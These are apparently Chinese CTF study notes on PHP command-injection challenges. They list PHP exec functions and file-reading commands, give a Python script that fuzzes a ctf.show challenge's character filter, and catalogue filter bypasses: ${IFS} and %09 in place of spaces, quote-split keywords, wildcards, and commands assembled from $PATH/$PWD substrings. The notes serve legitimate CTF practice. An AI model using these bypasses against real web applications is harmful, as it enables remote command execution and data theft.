{%raw%}
**系统命令执行函数:**exec,shell_exec,system,passthru,``,pcntl_exec

​ exec,shell_exec不直接显示,system,passthru直接显示,``等同于shell_exec,pcntl_exec运行完命令后程序直接暂停

命令 说明
cat 直接输出文件内容
tac 反向输出文件内容
nl 输出内容并显示行号
head 显示文件头几行
tail 显示文件尾几行
less 分页查看文件内容
more 分屏查看文件内容
rev 反转字符串或反转每一行内容
说明 命令
文本处理,可用来显示文件选定部分 sed
文本提取与格式化 awk
搜索并输出匹配行 grep
显示二进制文件中的可打印字符串 strings
以十六进制方式查看内容 xxd
对文件进行 base64 编码输出 base64

fuzz白名单脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import string
import urllib3

# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://46da7062-1fbd-4405-a712-dc0944660da2.challenge.ctf.show/"

list = string.ascii_letters+string.digits+"$+-}{_><:?*.~/\\ "

white_list = ""

for payload in list:
data = {
"code": payload
}

# 添加 verify=False 跳过 SSL 验证
res = requests.post(url, data=data, verify=False)

if "evil input" not in res.text:
print(payload, end=" ")
white_list += payload

print()
print(white_list.replace(" ","空格"))

绕过:

可以用”;“分割命令

空格绕过:${IFS},$IFS$9,%09,<>,<,%20,{cat,fl*},+

​ 如果过滤中有%,对%09是不影响的

无回显绕过:>,tee,>>

**定义变量绕过:**如ip=;a=g;tac fla$a.php

关键字绕过:‘’,*,?,””

​ ‘’(单引号)隔开,如fla’’g

括号绕过:``

分号绕过:?>

标签绕过:<?= ?>

**环境变量绕过:**在Linux下环境变量PATH一般是/bin,题目路径PWD/var/www/html

​ 查看echo $SHLVL,$PWD,$USER,$PATH,$HOME

用下面得到的字母组成命令,例:${PATH:A}${PWD:A} 为nl

$PWD和${PWD} 表示当前所在的目录 /var/www/html
$:$} /
$